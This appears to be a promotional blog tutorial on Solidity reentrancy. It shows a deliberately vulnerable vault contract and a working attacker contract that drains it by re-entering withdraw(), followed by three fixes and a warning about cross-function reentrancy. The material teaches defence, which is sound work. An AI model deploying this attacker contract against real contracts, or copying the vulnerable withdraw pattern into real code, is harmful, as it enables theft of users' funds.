Reentrancy is the exploit that launched a thousand audits. The DAO hack of 2016 resulted in a $60M loss and a hard fork of Ethereum itself. Yet the pattern still appears in production contracts today.
Let's walk through exactly how a reentrancy attack unfolds.
The Setup: A Vulnerable Vault
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "Nothing to withdraw");
// Step 1: send ETH — triggers attacker's receive()
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "Transfer failed");
// Step 2: update state — too late!
balances[msg.sender] = 0;
}
}
The Attacker Contract
contract Attacker {
VulnerableVault public vault;
uint256 public count;
constructor(address _vault) {
vault = VulnerableVault(_vault);
}
function attack() external payable {
vault.deposit{value: msg.value}();
vault.withdraw(); // triggers the loop
}
receive() external payable {
if (count < 10 && address(vault).balance >= 1 ether) {
count++;
vault.withdraw(); // re-enter before state is updated
}
}
}
Attack Flow
- Attacker deposits 1 ETH.
- Attacker calls
withdraw(). - Vault sends 1 ETH to attacker —
balanceis still 1 ETH at this point. - Attacker's
receive()fires and callswithdraw()again. - Vault checks
balances[attacker]— still 1 ETH — sends another 1 ETH. - Repeat 10 times: attacker walks away with 10 ETH, vault loses 9.
Fixes
Option A: Checks-Effects-Interactions Pattern
Zero the balance before the external call:
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0);
balances[msg.sender] = 0; // ← effect first
(bool ok,) = msg.sender.call{value: amount}(""); // ← interaction last
require(ok);
}
Option B: ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SafeVault is ReentrancyGuard {
function withdraw() external nonReentrant {
// ...
}
}
Option C: Pull-over-Push
Instead of sending ETH directly, let users claim it:
mapping(address => uint256) public pending;
function claimFunds() external {
uint256 amount = pending[msg.sender];
pending[msg.sender] = 0;
payable(msg.sender).transfer(amount);
}
Cross-Function Reentrancy
Don't forget that reentrancy can occur across multiple functions sharing state:
function transfer(address to, uint256 amount) external {
balances[msg.sender] -= amount;
// ← External call in another function can re-enter here
balances[to] += amount;
}
Always audit functions that modify shared state alongside functions that make external calls.
ContractScan's static analysis engine flags all of these patterns. Upload your contract and check for reentrancy in seconds.
Try ContractScan free — automated Solidity vulnerability scanning powered by Slither, Semgrep, Mythril, and AI.
Top comments (0)